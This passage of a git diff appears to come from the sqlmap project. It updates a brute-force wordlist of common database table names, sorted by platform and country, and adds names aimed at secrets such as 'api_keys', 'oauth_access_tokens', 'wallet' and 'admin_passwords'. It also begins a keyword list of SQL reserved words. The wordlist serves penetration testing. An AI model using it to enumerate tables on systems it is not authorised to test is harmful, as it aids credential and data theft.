Time locatedOn medicalprocedure -fk_test_has_fk mergesWith author UserFieldsInfo Employee oe -QRTZ_TRIGGERS insurance SUPPLIER -div_aa_annotation song imageAttribute views_track extremes -vcd_VcdToSources jiveRosterGroups webcal_config phpbb_ranks triggers_template appVersions -vcd_RssFeeds DUMMY ROLE activity study_text osc_products_options City -QRTZ_SCHEDULER_STATE osc_reviews edge questions partof blobs -QRTZ_CRON_TRIGGERS tag userSession vcd -pma_column_info -auto_id_tests job site_stats mucConversationLog @@ -523,16 +448,12 @@ sequence madewith OperationStatus SPJ -turizmi_ge zutat_cocktail -DWE_Internal_WF_Attributes zipcodes insertids ChemList product_category -foreigntest2 hero -cmContentVersionDigitalAsset reports devel_logsql f_sequence @@ -541,7 +462,6 @@ ClassificationScheme ez_webstats_conf credential utilise -cmDigitalAsset ACL_table service_request_log feedback @@ -568,29 +488,21 @@ dtb_order files_config PropColumnMap result -pma_designer_coords triggers audittrail -f_attributedependencies -organization_type_package_map -DWE_Corr_Sets userlist backgroundJob_table sf_guard_user_permission my_lake -DWE_Corr_Tokens sampleData -qrtz_blob_triggers reciprocal_partnersites rss_categories ADMIN -site_map_ge Factory_Output geo_Estuary phpbb_themes forum ClientsTable -mushroom_trainset rating_track iplinks maxcodevento @@ -601,7 +513,6 @@ cmLanguage phpbb_points_config guava_sysmodules querycachetwo -soc_da_polit_ge BOOK_AUTHORS records reciprocal_config @@ -630,7 +541,6 @@ expression Simple_Response photoo photos -child_config_traffic_selector version_data allocation dtb_category_total_count @@ -646,7 +556,6 @@ webcal_view pagecontent Collection maxcodcurso -self_government_ge phpbb_user_group InstanceStringTable bldg_types @@ -655,10 +564,8 @@ mailaddresses section m_type configlist -cmRepositoryContentTypeDefinition trade Parameter -jforum_privmsgs tbl_works_categories help_category bkp_String @@ -673,11 +580,9 @@ vendor_seq guava_theme_modules dtb_pagelayout bookings -cmPublicationDetail writes writer distance -DWE_Resource_Attributes jforum_groups Polynomial river @@ -698,23 +603,14 @@ SchemaInfo WidgetDescriptions dtb_category_count sidebar -R1Weights -humanitaruli_ge -cmTransactionHistory facets jforum_roles -samedicino_ge -qrtz_job_listeners geo_Lake religion nuke_gallery_media_class cia DatabaseInfo -R2TF THOT_THEME -R1Length -cmContentRelation -S2ODTMAP enrolled liste_domaines DEMO_PROJECTS @@ -737,7 +633,6 @@ UM_ROLE_ATTRIBUTES SCALE maclinks books -DWE_Predecessors interactions graphs_items stars @@ -756,7 +651,6 @@ email CustomerCards mtb_zip Campus -R1Size hardware dtb_other_deliv pricegroup @@ -770,15 +664,10 @@ colour command audio egresado -aggtest transport -zusti_da_sabuneb_ge -div_scoring_tech_type -R2Weights schedule routers zips -DWE_Delay_Timers Descriptions software wh_der_children @@ -805,7 +694,6 @@ cmSiteNode nodes sbreciprocal_cats rss_read -DWE_Workflow_Documents bombing tblblogtrackbacks fragment @@ -822,7 +710,6 @@ dtb_kiyaku EmailAddress Sea powers -QRTZ_CALENDARS reserve LINEITEM project_user_xref @@ -834,7 +721,6 @@ user_rights tf_messages Class_Def_Table geo_lake -copytest tissue ligneDeFacture PZ_Data @@ -844,7 +730,6 @@ cmts photo dtb_bloc user_preferences -music_ge D_Abbreviation data_set_association site_location @@ -859,7 +744,6 @@ evidence files test intUsers -div_treatment tblblogentries cocktail_person cdv_curated_allele @@ -870,18 +754,15 @@ MetadataValue curso redirect accountuser -qrtz_cron_triggers StateType forum_user_stat Descriptions_Languages m_users_profile Booked_On -not_null_with_default_test tblblogroles organizations topic economy -DWE_Org_Resources Model maxcodcorreo RATING @@ -899,7 +780,6 @@ dtb_send_customer cart size pg_ts_cfgmap -LimitTest2 QUESTION DC_Data webcal_group_user @@ -912,7 +792,6 @@ document m_users_acct vendor_types fruit -DWE_Resources Service PART cell_line @@ -929,21 +808,17 @@ statuses webcal_user customurl THOT_YEAR -DWE_Subscriptions correo -kultura_ge Factory_Master inv_lines_seq certificates webcal_asst ostypes POINT_SET -R2IDF forum_flag bugs taxonomy UM_ROLES -div_synonym payer tf_log job_title @@ -952,7 +827,6 @@ wp_options forum_user_activity trackbacks wp_pod_fields -cmAvailableServiceBindingSiteNodeTypeDefinition translation cdv_passport_group User_ @@ -962,31 +836,24 @@ my_county zoph_people account_permissions ORDERLINES -ganatlebe_ge wp_term_relationships pictures product_font Departure -mushroom_test_results routerbenchmarks bkp_Item Channel_Data realtable -mushroom_NBC_class odetails user_type_link -eco_da_biz_ge belong ezin_users time_zone_transition ew_tabelle ezsearch_return_count_new -cmSystemUserRole m_users -div_accession_collecting Economy tbl_works_clients -qrtz_locks geo_Mountain dtb_category tmp @@ -995,10 +862,7 @@ geo_Desert dtb_payment forum_topic ezsearch_search_phrase_new -jforum_attach -sazog_urtiertoba_ge Equipment -iuridiuli_ge MetadataSchemaRegistry basePlusCommissionEmployees addresses @@ -1029,7 +893,6 @@ SpecificationLink videos sf_guard_remember_key employer -monitoringi_ge leases phpbb_smilies stats @@ -1040,32 +903,25 @@ line_items_seq ndb_binlog_index zoph_categories help_topic -div_treatment_uom transaction wp_links -DWE_Organizations -live_ge cdv_allele_curated_allele timeperiod item_master_seq GLI_profiles cv_countries -qrtz_scheduler_state journal tf_users mwuser stories dtb_table_comment -jforum_quota_limit Lake SQLDATES phpbb_search_wordmatch friend2 functions comboboxes -DWE_Max_Id std_item -foreigntest jiveVersion sf_guard_group Classification @@ -1082,13 +938,10 @@ webcal_entry_repeats room domain_info SALES -DWE_Tasks profession1 SUPPORT_INCIDENTS PERMISSION Defect -DWE_Task_Attributes -grandchild_test Desert KARTA UM_ROLE_PERMISSIONS @@ -1098,23 +951,19 @@ guava_themes alltypes webcal_view_user vrls_xref_country -R1TF subject continent D_Format dtb_recommend_products Linkdesc_table -qrtz_fired_triggers TelephoneNumber dtb_customer_mail_temp copyrights -jforum_extension_groups DEMO_ASSIGNMENTS guava_group_assignments jforum_extensions zutat ew_user -duptest alerts partsvendor jiveGroup @@ -1134,7 +983,6 @@ tblblogentriesrelated guava_packages GRouteDetail cdv_reason -nulltest membership bkp_RS_Servers vrls_listing_images @@ -1144,7 +992,6 @@ group ClassificationNode dtb_best_products cv_cropping_system -DWE_Workflows egresadoxidiomaxhabilidad locus_data dtb_order_temp @@ -1166,14 +1013,12 @@ dtb_csv_sql synchro_type langlinks genres_in_movies -qrtz_triggers Province answerOption wp_postmeta ERDESIGNER_VERSION_ID calendar cmEvent -ruletest forum_user SalesReps ew_gruppi @@ -1204,9 +1049,7 @@ genres field vertex FoundThumbs -qrtz_trigger_listeners reciprocal_links -DWE_Meta_Data Course idiomaxegresado ordreReparation @@ -1234,16 +1077,13 @@ Language mountain ad_locales ExtrinsicObject -R2Size geo_island derived_types snipe_gallery_cat -qrtz_job_details guava_roleviews production_wtype AccountXML1 wh_man_children -not_null_test product_colour_multi ike_configs intUseringroup @@ -1273,7 +1113,6 @@ PREFIX_order_return_state experimental_data_set DOCUMENT_FIELDS Scripts -mushroom_dataset desert Can_Fly synchro_element @@ -1283,7 +1122,6 @@ tblblogpages f_attributedefinition intGroups way_nodes -child_test THOT_TARGET MOMENT dtb_classcategory @@ -1294,7 +1132,6 @@ dtb_deliv webcal_categories Parts invoices -QRTZ_JOB_LISTENERS ANSWER tbl_categories yearend @@ -1315,7 +1152,6 @@ nuke_gallery_categories areas cmContentVersion checksum_history -mushroom_test_results_agg accessTable cameFromTable services_links @@ -1327,17 +1163,13 @@ adv lake tests Offices -qrtz_simple_triggers Editor -sazog_urtiertoba_ge2 wp_pod_pages Extlangs seq_gen rss_subscription Station_Comment -R1IDF jforum_config -cmServiceDefinitionAvailableServiceBinding geo_River facilities connectorlinks @@ -1351,25 +1183,20 @@ FORM_QUESTION history_str f_classtype endpoints -R2Length zoph_albums bkp_ItemPresentation tblblogcategories -div_taxonomy traffic_selectors FORM -qrtz_paused_trigger_grps creditcards people_reg country_partner jforum_users -array_test dtb_mail_history priorities relations combustiblebois slow_log -DWE_Resource_Roles WROTE flow pay_melodies @@ -1378,7 +1205,6 @@ variable_interest dtb_class ZENTRACK_VARFIELD catalogue -uplebata_dacva_ge wp_usermeta time_zone games @@ -1398,7 +1224,6 @@ cmContentTypeDefinition radacct peer_config_child_config cmAvailableServiceBinding -cmSiteNodeVersion Poles_Zeros ipmacassocs m_news @@ -1411,22 +1236,18 @@ ipassocs cmSystemUser phpbb_categories FoundLists -jforum_smilies channelitems lokal subcategory Languages jiveSASLAuthorized -DWE_WF_Attributes cocktail cust_order -mushroom_testset THOT_SOURCE product_font_multi presence UM_USERS jiveUser -cmSiteNodeTypeDefinition wp_comments dtb_bat_order_daily_hour jos_vm_category @@ -1437,8 +1258,6 @@ geo_river MonitorStatus pagelinks ways -DWE_Roles -jforum_vote_desc cities PREFIX_order_return_state_lang subscriber @@ -1458,14 +1277,12 @@ production_multiple page_log_exclusion furniture nuke_gallery_pictures -cmRepositoryLanguage oc os PREFIX_tab_lang lc_fields framework_email datasets -sporti_ge externallinks geo_desert politics @@ -1477,7 +1294,6 @@ m_with program combustible ezin_articles -pma_tracking help_keyword POSITION stars_in_movies @@ -1487,12 +1303,10 @@ dtb_mailtemplate DIM_TYPE cart_table D_Unit -array_probe macassocs changeTva UM_PERMISSIONS geo_Source -R1Sum cdv_marker nuke_gallery_template_types UM_USER_ATTRIBUTES @@ -1513,7 +1327,6 @@ transcache dtb_question_result rss_category profiling -QRTZ_TRIGGER_LISTENERS THOT_LANGUAGE cmContent Descriptions_Scripts @@ -1535,7 +1348,6 @@ po_seq salariedEmployees grp jforum_topics -defertest array_data most_recent_checksum m_earnings @@ -1543,13 +1355,10 @@ product_related dtb_baseinfo webcal_import_data federationApplicants -qrtz_calendars melodies jforum_forums sf_guard_group_permission sys_acl_matrix -R2ODTMAP -mushroom_NBC country_diseases dtb_order_detail sic @@ -1570,11 +1379,8 @@ jforum_categories site_climatic phpbb_points_values zoph_color_schemes -DWE_Internal_Task_Attributes -uniquetest TypeRule dtb_customer -R2Sum PREFIX_customer_group ProjectsTable dtb_products @@ -1583,13 +1389,11 @@ dtb_question UM_USER_PERMISSIONS exam commande -viktorina_ge dtb_products_class subscribe page_restrictions querycache_info cdv_map_feature -oidtest Link_table guava_users connectormacassocs @@ -1615,9 +1419,12 @@ SPACE geo_Sea DATA_ORG Contributor +wallet +balance flag # Various Joomla tables + jos_vm_product_download jos_vm_coupons jos_vm_product_reviews @@ -1643,9 +1450,6 @@ jos_vm_zone_shipping jos_bannertrack jos_vm_order_status jos_modules_menu -jos_vm_product_type -jos_vm_product_type_parameter -jos_vm_tax_rate jos_core_log_items jos_modules jos_users @@ -1711,6 +1515,7 @@ publicusers cmsusers # List provided by Anastasios Monachos (anastasiosm@gmail.com) + blacklist cost moves @@ -1762,6 +1567,7 @@ TBLCORPUSERS TBLCORPORATEUSERS # List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py) + tbladmins sort _wfspro_admin @@ -1821,6 +1627,7 @@ jos_comprofiler_members jos_joomblog_users jos_moschat_users knews_lostpass +korisnik korisnici kpro_adminlogs kpro_user @@ -1965,7 +1772,6 @@ JamPass MyTicketek MyTicketekArchive News -Passwords by usage count PerfPassword PerfPasswordAllSelected Promotion @@ -1989,12 +1795,10 @@ sysconstraints syssegments tblRestrictedPasswords tblRestrictedShows -Ticket System Acc Numbers TimeDiff Titles ToPacmail1 ToPacmail2 -Total Members UserPreferences uvw_Category uvw_Pref @@ -2003,7 +1807,6 @@ Venue venues VenuesNew X_3945 -stone list tblArtistCategory tblArtists tblConfigs @@ -2039,7 +1842,6 @@ bulletin cc_info login_name admuserinfo -userlistuser_list SiteLogin Site_Login UserAdmin @@ -2048,6 +1850,7 @@ Login Logins # List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html + account accnts accnt @@ -2117,6 +1920,7 @@ user_pwd user_passwd # List from hyrax (http://sla.ckers.org/forum/read.php?16,36047) + wsop Admin Config @@ -2209,6 +2013,7 @@ admin_pwd admin_pass adminpassword admin_password +admin_passwords usrpass usr_pass pass @@ -2259,7 +2064,6 @@ upload uploads file akhbar -sb_host_admin Firma contenu Kontakt @@ -2320,8 +2124,6 @@ pw pwd1 jhu webapps -ASP -Microsoft sing singup singin @@ -2341,11 +2143,6 @@ systime Tisch Tabellen Titel -u -u_n -u_name -u_p -u_pass Benutzer user_pw Benutzerliste @@ -2356,7 +2153,6 @@ Benutzername Benutzernamen vip Webbenutzer -sb_host_adminActiveDataFeed Kategorie Land Suchoptionen @@ -2367,7 +2163,6 @@ Umfrage TotalMembers Veranstaltungsort Veranstaltungsorte -Ansicht1 utilisateur trier compte @@ -2413,33 +2208,13 @@ Sujets Sondage Titres Lieux -Affichage1Affichage1edu -win -pc -windows -mac -edu -bayviewpath -bayview server -slserver -ColdFusion8 -ColdFusion -Cold -Fusion8 -Fusion ststaff -sb_host_adminAffichage1 -Affichage1 yhm yhmm -Affichage1name -sb_host_adminAffichage1name - -# site:jp -TypesTab # site:it + utenti categorie attivita @@ -2447,140 +2222,66 @@ comuni discipline Clienti gws_news -SGA_XPLAN_TPL_V$SQL_PLAN emu_services nlconfig -oil_bfsurvey_pro -oil_users -oil_menu_types -oil_polls Accounts -oil_core_log_searches -SGA_XPLAN_TPL_V$SQL_PLAN_SALL -oil_phocadownload_categories gws_page -oil_bfsurveypro_choices -oil_poll_data -oil_poll_date argomento -oil_modules ruolo -oil_contact_details emu_profiles user_connection -oil_poll_menu jos_jf_tableinfo -oil_templates_menu -oil_messages_cfg -oil_biolmed_entity_types -oil_phocagallery_votes -oil_core_acl_aro regioni -oil_modules_menu dati gws_admin -oil_phocagallery_user_category articoli -oil_content_frontpage cron_send -oil_biolmed_measures comune -SGA_XPLAN_TPL_DBA_TABLES esame -oil_session -oil_phocadownload_licenses -oil_weblinks -oil_messages -oil_phocagallery_votes_statistics dcerpcbinds -oil_jf_content -SGA_XPLAN_TPL_DBA_CONS_COLUMNS -SGA_XPLAN_TPL_DBA_IND_COLUMNS gruppi Articoli gws_banner gws_category soraldo_ele_tipo db_version -SGA_XPLAN_TPL_DBA_TAB_COLS -oil_biolmed_thesis jos_languages mlmail -SGA_XPLAN_TPL_V$SQLTEXT_NL -oil_bannertrack -oil_core_log_items -oil_rokversions -oil_bfsurveypro_34 -oil_bfsurveypro_35 -oil_google_destinations gws_product -oil_jf_tableinfo -oil_phocadownload -oil_biolmed_blocks -oil_bfsurvey_pro_example -oil_bfsurvey_pro_categories -oil_bannerclient -oil_core_acl_aro_sections -SGA_XPLAN_TPL_V$SQL -oil_biolmed_land connections not_sent_mails -sga_xplan_test -oil_languages utente documento gws_purchase -oil_plugins -oil_phocagallery -oil_menu -oil_biolmed_measures_by_entity_types offers anagrafica gws_text -oil_groups -oil_content_rating sent_mails -oil_banner -oil_google gws_jobs eventi mlattach -oil_migration_backlinks -oil_phocagallery_categories downloads mlgroup -oil_sections decodifica_tabelle -oil_phocagallery_img_votes -oil_phocagallery_img_votes_statistics -oil_dbcache -oil_content p0fs -oil_biolmed_entity -oil_rokdownloads -oil_core_acl_groups_aro_map gws_client decodifica_campi -oil_phocagallery_comments -oil_categories -oil_newsfeeds -oil_biolmed_measurements -oil_phocadownload_user_stat -oil_core_acl_aro_groups -SGA_XPLAN_TPL_V$SQL_PLAN_STAT -oil_core_acl_aro_map dcerpcrequests -oil_phocadownload_sections -oil_components discipline_utenti jos_jf_content -oil_phocadownload_settings -SGA_XPLAN_TPL_DBA_CONSTRAINTS -oil_biolmed_technician -oil_stats_agents -SGA_XPLAN_TPL_DBA_INDEXES # site:fr + +facture +factures +devis +commande +bon_commande +bon_livraison +fournisseur +panier +paiement +reglement Avion departement Compagnie @@ -2751,137 +2452,57 @@ spip_ortho_dico spip_caches # site:ru + +spravochnik +nomenklatura +dokument +zakaz +ostatki +kontragenty +klient +uslugi +provodki +obrabotka +sklad +zhurnal guestbook -binn_forum_settings -binn_forms_templ -binn_catprops currency -binn_imagelib -binn_news phpshop_opros_categories -binn_articles_messages -binn_cache -binn_bann_temps -binn_forum_threads voting -binn_update terms -binn_site_users_rights -binn_vote_options -binn_texts -binn_forum_temps -binn_order_temps -binn_basket -binn_order -binn_system_log -binn_vote_results -binn_articles phpshop_categories -binn_maillist_temps -binn_system_messages -binn_articles_temps -binn_search_temps banners -binn_imagelib_templ -binn_faq -binn_bann phpshop_news -binn_menu_templ -binn_maillist_settings -binn_docs_temps -binn_bann_restricted phpshop_system -binn_calendar_temps -binn_forum_posts -binn_cform_settings phpshop_baners phpshop_menu -binn_forms_fields -binn_cform_list -binn_vote phpshop_links mapdata -binn_submit_timeout -binn_forum_themes_temps -binn_order_elems -binn_templates -binn_cform -binn_catalog_template -binn_ct_templ_elems -binn_template_elems -binn_rubrikator_tlevel -binn_settings -binn_pages -binn_users -binn_categs -binn_page_elems -binn_site_users_temps -binn_vote_temps -binn_rubrikator_temps -binn_faq_temps -binn_sprav setup_ -binn_basket_templ -binn_forum_maillist -binn_news_temps phpshop_users -binn_catlinks -binn_sprav_temps -binn_maillist_sent -binn_forms_templ_elems jubjub_errors -binn_maillist -binn_catrights -binn_docs -binn_bann_pages -binn_ct_templ -binn_menu -binn_user_rights -binn_cform_textarea -binn_catalog_fields vykachka -binn_menu_tlevel phpshop_opros -binn_form39 -binn_site_users -binn_path_temps order_item # site:de + tt_content kunde medien Mitarbeiter fe_users -dwp_wetter -dwp_popup voraussetzen -dwp_foto_pictures -dwp_karte_speisen -dwp_news_kat -dwp_structur -dwp_foto_album -dwp_karte_kat bestellung -dwp_content be_users Vorlesungen -dwp_content_pic -dwp_link_entries -dwp_ecard_album persons -dwp_buchung_hotel -dwp_link_kat -dwp_news_absatz Assistenten Professoren Studenten -dwp_ecard_pictures lieferant -dwp_bewertung mitarbeiter gruppe -dwp_news_head wp_post2cat phpbb_forum_prune crops @@ -2911,7 +2532,6 @@ shop_settings tutorial motd_coding artikel_variationsgruppen -dwp_kontakt papers gesuche zahlung_weitere @@ -3010,6 +2630,7 @@ wp_categories chessmessages # site:br + endereco pessoa usuarios @@ -3172,6 +2793,7 @@ LT_CUSTOM2 LT_CUSTOM3 # site:es + jos_respuestas DEPARTAMENTO EMPLEADO @@ -3208,30 +2830,44 @@ nuke_gallery_pictures_newpicture Books grupo facturas +aclaraciones +preguntas +personas +estadisticas # site:cn + +yonghu +dingdan +shangpin +zhanghu +jiaoyi +zhifu +rizhi +quanxian +juese +caidan +xinxi +shuju +guanliyuan +xitong +peizhi +canshu +zidian url -cdb_adminactions BlockInfo -cdb_attachtypes cdb_attachments -mymps_lifebox cdb_buddys -mymps_payapi LastDate cdb_medals -mymps_payrecord cdb_forumlinks cdb_adminnotes cdb_admingroups -cdb_creditslog stkWeight -mymps_checkanswer cdb_announcements cdb_bbcodes cdb_advertisements cdb_memberfields -mymps_telephone cdb_forums cdb_forumfields cdb_favorites @@ -3259,31 +2895,22 @@ cdb_pluginvars pw_smiles cdb_modworks ncat -mymps_member_tpl pw_threads zl_admin cdb_onlinetime cdb_mythreads cdb_members spt_datatype_info -mymps_certification -mymps_badwords seentype -mymps_cache zl_article spt_datatype_info_ext cdb_debateposts -mymps_corp -mymps_member_album mgbliuyan pw_schcache zl_finance pw_banuser -mymps_news cdb_pluginhooks -mymps_member_docutype wp1_categories -cdb_magicmarket MSmerge_errorlineage cdb_activities zl_baoming @@ -3295,18 +2922,15 @@ cdb_itempool phpcms_announce pw_actions pw_msg -mymps_news_img cdb_debates cdb_magiclog pw_forums -mymps_channel cdb_polls t_stat pw_attachs cdb_plugins pw_membercredit cdb_posts -mymps_member_category cdb_activityapplies zl_media acctmanager @@ -3314,18 +2938,12 @@ pw_usergroups cdb_faqs cdb_onlinelist pw_hack -mymps_member_comment Market -mymps_config -mymps_mail_template -mymps_advertisement MSrepl_identity_range pw_favors -mymps_crons pw_config pw_credits cdb_failedlogins -mymps_member_docu pw_posts cdb_attachpaymentlog cdb_myposts @@ -3333,7 +2951,6 @@ cdb_polloptions wp1_comments cdb_caches pw_members -mymps_upload spt_provider_types pw_sharelinks pw_tmsgs @@ -3344,17 +2961,237 @@ aliasregex userfiles acctmanager2 cdb_pmsearchindex -mymps_news_focus cdb_forumrecommend publishers zl_advertisement guanggaotp pw_memberinfo aliastype -mymps_mail_sendlist -mymps_navurl + +# site:tr + +kullanici +kullanicilar +yonetici +yoneticiler +adres +adresler +yayincilar +yayinci +urun +urunler +kategori +kategoriler +ulke +ulkeler +siparis +siparisler +bayi +bayiler +stok +reklam +reklamlar +site +siteler +sayfa +sayfalar +icerik +icerikler +yazi +yazilar +genel +istatistik +istatistikler +duyuru +duyurular +haber +haberler +komisyon +ucret +ucretler +bilgi +basvuru +basvurular +kontak +kontaklar +kisi +kisiler +uye +uyeler +kayıt +kayıtlar +tel +telefon +telefonlar +numaralar +numara +kart +kartlar +kredi +krediler +kredikartı +fiyat +fiyatlar +odeme +odemeler +kategoriler +tbl_Uye +xml_kategoriler +tbl_siparis +tbl_googlemap +tbl_ilce +tbl_yardim +tbl_Resim +tbl_anket +tbl_Rapor +tbl_statsvisit +tbl_ticket +tbl_Cesit +tbl_xml +tbl_Cinsiyet +xml_urunler_temp +tbl_takvim +tbl_altkategori +tbl_mesaj +tbl_Haber +tbl_AdresTemp +tbl_Firma +tbl_Medya +xml_urunlerbirim +tbl_Yardim +tbl_medya +tbl_Video +xml_markalar_transfer +tbl_adrestemp +tbl_online +tbl_sehir +tbl_resim +tbl_Gorsel +tbl_doviz +tbl_gorsel +tbl_kampanya +tbl_Blog +tbl_Banners +tbl_koleksiyon +tbl_Galeri +tbl_Kampanya +tbl_Favori +tbl_sss +tbl_Banner +tbl_Faq +xml_markalar_temp +tbl_faq +tbl_Personel +tbl_Seo +tbl_adres +tbl_ayar +tbl_metin +tbl_AltKategori +tbl_kategori +tbl_Marka +tbl_blogkategori +tbl_ulke +tbl_sepetold +tbl_yorum +tbl_Fiyat +tbl_Reklam +tbl_Kategori +tbl_Yorum +tbl_semt +tbl_Tedarikci +xml_kampanyakategori +tbl_ozelgun +tbl_uyexml +tbl_rapor +tbl_seo +tbl_Indirim +tbl_Ilce +tbl_bulten +tbl_video +tbl_Ayar +tbl_fatura +tbl_cinsiyet +tbl_reklam +tbl_sliders +tbl_KDV +tbl_uye_img +tbl_siparisid +tbl_BlogKategori +tbl_Yonetici +tbl_kdv +tbl_Online +tbl_temsilci +tbl_Dil +tbl_banners +tbl_Mesaj +tbl_Logs +tbl_logs +tbl_fiyat +tbl_SSS +tbl_Puan +tbl_kargo +tbl_Statsvisit +tbl_Koleksiyon +tbl_dil +tbl_Sepetold +tbl_Fatura +tbl_yonetici +tbl_Yazilar +tbl_Temsilci +tbl_Kargo +tbl_cesit +tbl_uye +tbl_haber +tbl_SiparisID +tbl_Adres +tbl_Ozelgun +tbl_banka +tbl_Videogaleri +tbl_galeri +tbl_videogaleri +xml_urunresimleri +tbl_urun +tbl_Ticket +tbl_yazilar +tbl_Ulke +tbl_Urun +tbl_renk +tbl_Harita +tbl_Sepet +tbl_Sehir +tbl_Uye_Img +tbl_Semt +tbl_indirim +xml_kampanyakategori_transfer +tbl_Takvim +tbl_blog +tbl_Sliders +tbl_Renk +tbl_UyeXML +tbl_tedarikci +tbl_Fotogaleri +tbl_Doviz +tbl_Anket +tbl_Banka +tbl_Metin +tbl_XML +tbl_firma +tbl_harita +tbl_banner +tbl_sepet +tbl_fotogaleri +tbl_marka +tbl_Siparis +tbl_personel +tbl_puan +tbl_Bulten +tbl_favori +tbl_onlineusers + + # List provided by Pedrito Perez (0ark1ang3l@gmail.com) + adminstbl admintbl affiliateUsers @@ -3369,4 +3206,217 @@ userstbl usertbl # WebGoat + user_data + +# https://laurent22.github.io/so-injections/ + +accounts +admin +baza_site +benutzer +category +comments +company +credentials +Customer +customers +data +details +dhruv_users +dt_tb +employees +events +forsale +friends +giorni +images +info +items +kontabankowe +login +logs +markers +members +messages +orders +order_table +photos +player +players +points +register +reports +rooms +shells +signup +songs +student +students +table +table2 +tbl_images +tblproduct +testv2 +tickets +topicinfo +trabajo +user +user_auth +userinfo +user_info +userregister +users +usuarios +utenti +wm_products +wp_payout_history +zamowienia + +# https://deliciousbrains.com/tour-wordpress-database/ + +wp_blogmeta +wp_blogs +wp_blog_versions +wp_commentmeta +wp_comments +wp_links +wp_options +wp_postmeta +wp_posts +wp_registration_log +wp_signups +wp_site +wp_sitemeta +wp_termmeta +wp_term_relationships +wp_terms +wp_term_taxonomy +wp_usermeta +wp_users + +# https://docs.joomla.org/Tables + +assets +bannerclient +banner +bannertrack +categories +components +contact_details +content_frontpage +content_rating +content +core_acl_aro_groups +core_acl_aro_map +core_acl_aro_sections +core_acl_aro +core_acl_groups_aro_map +core_log_items +core_log_searches +extensions +groups +languages +menu +menu_types +messages_cfg +messages +migration_backlinks +modules_menu +modules +newsfeeds +plugins +poll_data +poll_date +poll_menu +polls +redirect_links +Schemas +sections +session +stats_agents +templates_menu +template_styles +update_categories +update_sites_extensions +update_sites +updates +usergroups +user_profiles +users +user_usergroup_map +viewlevels +weblinks + +# site:nl + +gebruikers + +# asp.net + +AspNetUsers +AspNetRoles +AspNetUserRoles +AspNetUserClaims +AspNetUserLogins +AspNetRoleClaims +AspNetUserTokens +__EFMigrationsHistory + +# django + +auth_user +auth_group +auth_permission +django_session +django_migrations +django_content_type +django_admin_log + +# laravel + +migrations +password_resets +failed_jobs +personal_access_tokens +job_batches +model_has_roles +model_has_permissions +role_has_permissions + +# rails + +schema_migrations +ar_internal_metadata +active_storage_blobs +active_storage_attachments + +# misc. + +flyway_schema_history +databasechangelog +databasechangeloglock +alembic_version +knex_migrations +knex_migrations_lock +doctrine_migration_versions +api_keys +api_tokens +access_tokens +refresh_tokens +oauth_clients +oauth_access_tokens +oauth_refresh_tokens +webhooks +webhook_events +secrets +credentials +audit_logs +activity_logs +system_settings +feature_flags +tenants +subscriptions +users_bak +users_old +orders_backup diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt new file mode 100644 index 00000000000..36d2773ef44 --- /dev/null +++ b/data/txt/keywords.txt @@ -0,0 +1,1635 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) + +ABSOLUTE +ACTION +ADD +ALL +ALLOCATE +ALTER +AND +ANY +ARE +AS +ASC +ASSERTION +AT +AUTHORIZATION +AVG +BEGIN +BETWEEN +BIT +BIT_LENGTH +BOTH +BY +CALL +CASCADE +CASCADED +CASE +CAST +CATALOG +CHAR +CHAR_LENGTH +CHARACTER +CHARACTER_LENGTH +CHECK +CLOSE +COALESCE +COLLATE +COLLATION +COLUMN +COMMIT +CONDITION +CONNECT +CONNECTION +CONSTRAINT +CONSTRAINTS +CONTAINS +CONTINUE +CONVERT +CORRESPONDING +COUNT +CREATE +CROSS +CURRENT +CURRENT_DATE +CURRENT_PATH +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +DATE +DAY +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFERRED +DELETE +DESC +DESCRIBE +DESCRIPTOR +DETERMINISTIC +DIAGNOSTICS +DISCONNECT +DISTINCT +DO +DOMAIN +DOUBLE +DROP +ELSE +ELSEIF +END +ESCAPE +EXCEPT +EXCEPTION +EXEC +EXECUTE +EXISTS +EXIT +EXTERNAL +EXTRACT +FALSE +FETCH +FIRST +FLOAT +FOR +FOREIGN +FOUND +FROM +FULL +FUNCTION +GET +GLOBAL +GO +GOTO +GRANT +GROUP +HANDLER +HAVING +HOUR +IDENTITY +IF +IMMEDIATE +IN +INDICATOR +INITIALLY +INNER +INOUT +INPUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERVAL +INTO +IS +ISOLATION +JOIN +KEY +LANGUAGE +LAST +LEADING +LEAVE +LEFT +LEVEL +LIKE +LOCAL +LOOP +LOWER +MATCH +MAX +MIN +MINUTE +MODULE +MONTH +NAMES +NATIONAL +NATURAL +NCHAR +NEXT +NO +NOT +NULL +NULLIF +NUMERIC +OCTET_LENGTH +OF +ON +ONLY +OPEN +OPTION +OR +ORDER +OUT +OUTER +OUTPUT +OVERLAPS +PAD +PARAMETER +PARTIAL +PATH +POSITION +PRECISION +PREPARE +PRESERVE +PRIMARY +PRIOR +PRIVILEGES +PROCEDURE +READ +REAL +REFERENCES +RELATIVE +REPEAT +RESIGNAL +RESTRICT +RETURN +RETURNS +REVOKE +RIGHT +ROLLBACK +ROUTINE +ROWS +SCHEMA +SCROLL +SECOND +SECTION +SELECT +SESSION +SESSION_USER +SET +SIGNAL +SIZE +SMALLINT +SOME +SPACE +SPECIFIC +SQL +SQLCODE +SQLERROR +SQLEXCEPTION +SQLSTATE +SQLWARNING +SUBSTRING +SUM +SYSTEM_USER +TABLE +TEMPORARY +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSACTION +TRANSLATE +TRANSLATION +TRIM +TRUE +UNDO +UNION +UNIQUE +UNKNOWN +UNTIL +UPDATE +UPPER +USAGE +USER +USING +VALUE +VALUES +VARCHAR +VARYING +VIEW +WHEN +WHENEVER +WHERE +WHILE +WITH +WORK +WRITE +YEAR +ZONE + +# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) + +ADD +ALL +ALTER +ANALYZE +AND +ASASC +ASENSITIVE +BEFORE +BETWEEN +BIGINT +BINARYBLOB +BOTH +BY +CALL +CASCADE +CASECHANGE +CAST +CHAR +CHARACTER +CHECK +COLLATE +COLUMN +CONCAT +CONDITIONCONSTRAINT +CONTINUE +CONVERT +CREATE +CROSS 